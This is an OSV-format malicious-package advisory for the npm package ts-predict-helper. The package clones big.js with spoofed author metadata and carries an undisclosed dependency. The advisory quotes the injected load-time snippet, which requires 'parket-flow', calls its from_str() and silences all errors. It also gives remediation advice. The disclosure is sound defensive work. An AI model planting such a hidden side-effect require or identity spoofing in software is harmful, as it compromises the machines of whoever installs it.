MAL-2026-6322
Vulnerability from ossf_malicious_packages
-= Per source details. Do not edit below this line.=-
Source: amazon-inspector (7efbafcedfb49da5093c3972473a549694dd9dd748281a299034c31578db1943)
Package is published as ts-predict-helper but ships a byte-equivalent copy of big.js v7.0.1's source and README (which states 'No dependencies'), along with spoofed package.json metadata pointing at MikeMcl/big.js and naming Michael Mclaughlin as author. Inside the otherwise-verbatim big.js source (around line 530) an injected try/catch block runs at module load: try { const doc = require("parket-flow"); doc.from_str().then(e => { }).catch(e => { }) } catch (error) { }. The package declares an undisclosed runtime dependency on parket-flow ^3.0.1, which is unrelated to arbitrary-precision arithmetic and is the actual payload carrier. Any consumer who installs ts-predict-helper (e.g. via a copy-pasted install snippet) and require()s it will silently pull parket-flow into their dependency tree and invoke its from_str() API in-process, with all errors swallowed to hide failure. The combination of identity spoofing (verbatim README/source/author/repo metadata under an unrelated package name) and a hidden side-effect require at load time is a textbook trojan-loader supply-chain pattern; whatever code parket-flow ships executes in the installer's Node.js process.
Source: ghsa-malware (004f4fa9462c6d9a1c43590fa685757267eb90905ab2cb17c0af20f082ae9913)
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
{
"affected": [
{
"database_specific": {
"cwes": [
{
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature.",
"name": "Embedded Malicious Code"
},
{
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature.",
"name": "Embedded Malicious Code"
},
{
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature.",
"name": "Embedded Malicious Code"
}
],
"indicators": {
"evidence_files": [
{
"path": "big.js",
"sha256": "f53e21c5f0b91ea99ea861fb7eec48d15038692db83630cb8fdc099f94b7c503",
"tlsh": "08c2658c3ac67579593363788f4a5088eb38525712c8b186b4ae63b46f78cb107b5fdc"
},
{
"path": "package.json",
"sha256": "0da91a0b74de81145798a608443ad0a388fc9feb6e5fc46c3654864e83bf5b85",
"tlsh": "9b21f263c9a19da70af85b94bc6c03aaf1161b1f40a05c5bb07b130c4b7355b2096b79"
}
]
}
},
"package": {
"ecosystem": "npm",
"name": "ts-predict-helper"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "SEMVER"
}
],
"versions": [
"3.7.1",
"3.7.0"
]
}
],
"aliases": [
"GHSA-mjf5-46pf-x3j7"
],
"credits": [
{
"contact": [
"inspector-research@amazon.com"
],
"name": "Amazon Inspector",
"type": "FINDER"
}
],
"database_specific": {
"malicious-packages-origins": [
{
"id": "IN-MAL-2026-007265",
"import_time": "2026-06-23T16:54:12.872202659Z",
"modified_time": "2026-06-23T16:11:22Z",
"sha256": "47f41119c32d08f0399281ce4747c29907ce1ec9ebca0fa09ccdb8da9cce09e7",
"source": "amazon-inspector",
"versions": [
"3.7.1"
]
},
{
"id": "IN-MAL-2026-007269",
"import_time": "2026-06-23T16:54:13.371043245Z",
"modified_time": "2026-06-23T16:11:25Z",
"sha256": "7efbafcedfb49da5093c3972473a549694dd9dd748281a299034c31578db1943",
"source": "amazon-inspector",
"versions": [
"3.7.0"
]
},
{
"id": "GHSA-mjf5-46pf-x3j7",
"import_time": "2026-06-23T17:03:25.707952019Z",
"modified_time": "2026-06-23T15:27:34Z",
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "SEMVER"
}
],
"sha256": "004f4fa9462c6d9a1c43590fa685757267eb90905ab2cb17c0af20f082ae9913",
"source": "ghsa-malware"
}
]
},
"details": "\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (7efbafcedfb49da5093c3972473a549694dd9dd748281a299034c31578db1943)\nPackage is published as `ts-predict-helper` but ships a byte-equivalent copy of big.js v7.0.1\u0027s source and README (which states \u0027No dependencies\u0027), along with spoofed `package.json` metadata pointing at MikeMcl/big.js and naming Michael Mclaughlin as author. Inside the otherwise-verbatim big.js source (around line 530) an injected try/catch block runs at module load: `try { const doc = require(\"parket-flow\"); doc.from_str().then(e =\u003e { }).catch(e =\u003e { }) } catch (error) { }`. The package declares an undisclosed runtime dependency on `parket-flow` ^3.0.1, which is unrelated to arbitrary-precision arithmetic and is the actual payload carrier. Any consumer who installs `ts-predict-helper` (e.g. via a copy-pasted install snippet) and `require()`s it will silently pull `parket-flow` into their dependency tree and invoke its `from_str()` API in-process, with all errors swallowed to hide failure. The combination of identity spoofing (verbatim README/source/author/repo metadata under an unrelated package name) and a hidden side-effect require at load time is a textbook trojan-loader supply-chain pattern; whatever code `parket-flow` ships executes in the installer\u0027s Node.js process.\n\n## Source: ghsa-malware (004f4fa9462c6d9a1c43590fa685757267eb90905ab2cb17c0af20f082ae9913)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n",
"id": "MAL-2026-6322",
"modified": "2026-06-23T17:05:18Z",
"published": "2026-06-23T15:27:33Z",
"references": [
{
"type": "PACKAGE",
"url": "https://www.npmjs.com/package/ts-predict-helper/v/3.7.1"
},
{
"type": "PACKAGE",
"url": "https://www.npmjs.com/package/ts-predict-helper/v/3.7.0"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-mjf5-46pf-x3j7"
}
],
"schema_version": "1.7.4",
"summary": "Malicious code in ts-predict-helper (npm)"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.